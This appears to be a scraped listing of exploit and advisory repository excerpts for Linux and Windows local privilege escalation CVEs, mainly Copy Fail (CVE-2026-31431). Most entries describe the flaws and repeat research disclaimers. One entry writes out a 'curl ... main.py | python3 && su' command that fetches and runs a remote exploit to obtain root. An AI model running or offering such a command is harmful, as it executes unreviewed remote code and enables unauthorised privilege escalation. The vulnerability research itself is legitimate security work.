CVE-2026-41651-analysis

CVE-2026-41651 — Pack2TheRoot 分析 PackageKit 本地权限提升（TOCTOU 竞态条件） CVSS v3.1：8.8（高危） | CWE-367 | 发布时间：2026-04-22 📌 概述 本仓库整理了针对 2026 年 4 月公开的 PackageKit 本地权限提升漏洞 CVE-2026-41651（Pack2TheRoot） 的个人分析报告及研究资料。 项目| 内容 ---|--- CVE ID| CVE-2026-41651 漏洞名称| Pack2TheRoot 受影响软件| PackageKit 1.0.2 1.3.4 补丁版本|...

CVE-2026-31431

CVE-2026-31431 — Copy Fail 732 字节，通杀主流 Linux 发行版，直达 root CVE-2026-31431（Copy Fail）是 Linux 内核 authencesn 加密模板中的一个逻辑漏洞。它允许非特权本地用户对系统上任意可读文件的页缓存（page cache）进行确定性的、可控的 4 字节写入。 概述 CVE 编号: CVE-2026-31431 类型: 本地提权 / 容器逃逸 影响范围: 启用 CONFIGCRYPTOAUTHENC 的 Linux 内核（2017 年以来几乎所有主流发行版） 发现者: Xint Code 研究团队，Theo...

CVE-2026-31431-PocC

CVE-2026-31431-PocC CVE-2026-31431 C语言复现的poc，可在目标环境没有py时进行利用 漏洞基本信息 漏洞类型：Linux 内核 AFALG 子系统页面缓存投毒，通过污染 SUID 文件内容实现本地权限提升与可能的容器逃逸。 影响内核版本：Linux 内核 5.15 6.1.x（部分更低或更高版本也可能受影响，取决于 AFALG 相关编译选项）。 利用条件： 内核编译了 CONFIGCRYPTOUSERAPIAEAD 并支持 AEAD 算法（如 authenchmacsha256,cbcaes），或对应模块已加载。...

CVE-2026-31431

CVE-2026-31431 概念验证（PoC） 本仓库包含针对 CVE-2026-31431 的概念验证（PoC）漏洞利用代码，演示了一个本地权限提升漏洞。 !WARNING 本项目仅限教育和安全研究目的使用 。 请仅在您拥有或已获得明确书面授权测试的系统上使用。 未经授权的使用可能违法，强烈不建议这样做。 使用方法 直接运行： curl -s https://raw.githubusercontent.com/AliHzSec/CVE-2026-31431/refs/heads/master/main.py | python3 && su 祝黑客之旅愉快 :...

EUVD-2026-95242

IBM Guardium Data Protection 12.2 is vulnerable to a local privilege escalation in the cpwrapper component. A low-privileged local user could exploit this vulnerability to gain root privileges and access or modify sensitive system files...

CVE-2026-84245

IBM Guardium Data Protection 12.2 is vulnerable to a local privilege escalation in the cp_wrapper component due to improper privilege management (CWE-269). A low-privileged local user can exploit this flaw to gain root privileges , allowing for the unauthorized access or modification of sensitive...

CVE-2024-44346

CVE開示: CVE-2024-44346 日付: 13-09-2024 概要 Tosibox tbsetup.exe バージョン 4.0.0.0 に脆弱性が確認され、ローカル権限昇格が可能となる可能性があります。この問題には識別子 CVE-2024-44346 が割り当てられています。ベンダーは詳細と修正手順を含むアドバイザリを公開しています。 影響を受ける製品 ベンダー : Tosibox 製品 : tbsetup.exe バージョン : 4.0.0.0 脆弱性の説明 Tosibox Key ソフトウェアにおいて、Tosibox Key インストーラー tbsetup.exe...

CVE-2026-31431-exploit

CVE-2026-31431 严重警告 这两份 Linux 本地提权利用实现都属于运行时破坏性 利用。 它们会覆写高权限目标文件的运行时 page-cache 视图 ，例如： su PAM 配置文件 patch 模式里手工指定的文件 这通常不是常规意义上的持久化落盘改文件，但它会立即改变运行时行为 ，并直接影响认证 / 提权流程。 当前仓库不提供 真正无破坏性的 root 模式。 文件 copyfailrawsuroot.c copyfailportablelpe.c 两者都只面向 Linux 。 后续更新中可能会补充适配更多架构的预编译版本。 编译...

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 “Copy Fail” — 通用本地提权漏洞利用 Linux 内核页缓存 4 字节任意写入 → 本地权限提升 多种利用方式：动态 ELF 入口点覆盖、完整二进制替换、兼容 Python 3.x 的 ctypes splice 回退方案。 这是什么？ CVE-2026-31431 是 Linux 内核 AFALG 加密子系统中的一个漏洞。通过滥用 splice + authencesn 原地解密，非特权用户可以在内核的页缓存 （所有文件映射内存所使用的同一缓存）中任意偏移处写入 4 字节 。 这意味着： 无竞态条件 — 单线程、确定性执行 无需特殊权限 —...

CVE-2026-1880

CVE-2026-1880 https://github.com/user-attachments/assets/2602558f-abd8-4773-9094-64c32501dfed ASUS DriverHub 更新 TOCTOU 本地权限提升 ASUS DriverHub 驱动更新进程 TOCTOU 漏洞，可导致本地权限提升 技术资源 技术演示文稿 PDF 한국어.md | English.md 华硕名人堂 后记 尽管技术影响可能并不显著，但我很高兴这是我在安全领域做出的第一个小小贡献。 致谢 我衷心感谢 @veath 在整个工作中给予的深思熟虑的建议和持续的支持。...

CVE-2021-4034-POC

CVE-2021-4034 PwnKit 的 PoC：polkit 的 pkexec 中的本地权限提升漏洞（CVE-2021-4034） https://seclists.org/oss-sec/2022/q1/80 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034...

copyfail-rs

copyfail-rs Copy Fail 漏洞利用（CVE-2026-31431）的 Rust 实现，这是一个关键漏洞，通过链式利用 AFALG 和 splice 实现 4 字节页缓存写入，从而在主流 Linux 发行版上实现本地权限提升。 基于 Xint Code 的研究和 PoC。 免责声明 !CAUTION 本项目仅用于教育和研究目的 。在您不拥有或未经明确许可的系统上运行此漏洞利用程序是非法且不道德的。请负责任地使用此代码，以理解和防御类似的漏洞。 特性 纯 Rust 实现 ：高性能、内存安全的原始 Python PoC 实现。 动态 ELF 构建器...

CVE-2026-43284-

CVE-2026-43284 Dirty Flag（本地权限提升） 截至2026年5月初，Dirty Frag 指的是一类高严重性的 Linux 内核漏洞（CVE-2026-43284 和 CVE-2026-43500）。影响：它允许非特权用户通过利用内核处理内存碎片和网络的方式获得 root 访问权限（完全的管理控制权）。范围：它影响自2017年以来发布的大多数主流发行版（例如 Ubuntu、RHEL、Fedora），并且被认为比之前的“竞态条件”漏洞利用更可靠。 受影响的 Linux 列表 A 143 144 Linux: Linux xxxx 5.4.0-104-generic...

CVE-2026-31431

CVE-2026-31431 - Copy Fail Copy Fail 是 Linux 内核加密子系统中的一个逻辑漏洞（CVE-2026-31431）。2017 年对 algifaead.c 的一项优化意外地将页缓存页面放入了可写的 scatterlist 中。authencesn AEAD 算法在解密过程中会在输出边界之外写入 4 个临时字节，这些字节通过就地（in-place）scatterlist 直接落入攻击者 splice 进来的任何文件的内核缓存副本中。这使得无特权的本地用户能够对任何可读文件的页缓存进行受控的 4 字节写入，从而通过破坏 setuid 二进制文件轻松提权至...

CVE-2021-4034

CVE-2021-4034 - 故意存在漏洞的 Docker 容器版本 PwnKit 的 Docker PoC：polkit 的 pkexec 中的本地权限提升漏洞（CVE-2021-4034） https://seclists.org/oss-sec/2022/q1/80 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 P...

CVE-2025-32463

CVE-2025-32463: Vulnerabilidad de escalada de privilegios locales en Sudo Resumen CVE-2025-32463 es una vulnerabilidad de escalada de privilegios locales Local Privilege Escalation, LPE descubierta en Sudo. Un atacante puede aprovechar esta vulnerabilidad para obtener privilegios de root bajo...

copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail 732 字节。任何发行版。Root。 Linux 内核 authencesn 加密模板中的一个直线逻辑缺陷，使无特权的本地用户能够对任何可读文件（包括 setuid 二进制文件）的页缓存执行精确、受控的 4 字节写入。无需竞争条件。无需重试。无需重新编译。自 2017 年以来发布的每个主流 Linux 发行版均可获得 root 权限。 📄 技术分析文章 · 🔗 内核补丁 · 🛡️ CVSS：严重 已测试的发行版 发行版| 内核版本 ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linu...

CVE-2025-32463

CVE-2025-32463 — Sudo 1.9.14 → 1.9.17 通过 chroot 实现本地权限提升 漏洞利用脚本 ，演示影响特定 Sudo 1.9.x 版本（CVE-2025-32463）的本地权限提升。 漏洞利用参考： https://www.exploit-db.com/exploits/52352 测试环境： Ubuntu 24.04.2 LTS，sudo 1.9.16p2 概述 本仓库包含针对 CVE-2025-32463 的漏洞利用脚本，该漏洞涉及受影响 sudo 版本（1.9.14 至 1.9.17）中 chroot...

Copy-Fail-Exploit-CVE-2026-31431

Copy Fail CVE-2026-31431 – 漏洞利用使用指南 ⚠️ 免责声明 本内容仅供教育和授权安全测试使用。切勿 在未经明确许可的系统上运行此漏洞。 📌 概述 Copy Fail CVE-2026-31431 是一个影响 Linux 本地权限提升（LPE）的漏洞，通过 AFALG 影响内核加密 API。 它允许非特权用户覆盖 SUID 二进制文件（例如 /usr/bin/su）的页缓存数据，从而获得 root 访问权限。 🧠 要求 系统要求 Linux 内核（存在漏洞 – 取决于补丁状态） 已启用 AFALG 已加载 algifaead 模块 Python 漏洞利用要求...

Copy-Fail

CVE-2026-31431 "Copy Fail" — локальное повышение привилегий Версия, совместимая с Python 3.7+ включая Astra Linux Безопасная проверка без эксплуатации: curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3 Эксплуатация при запросе необходимо ввести паро...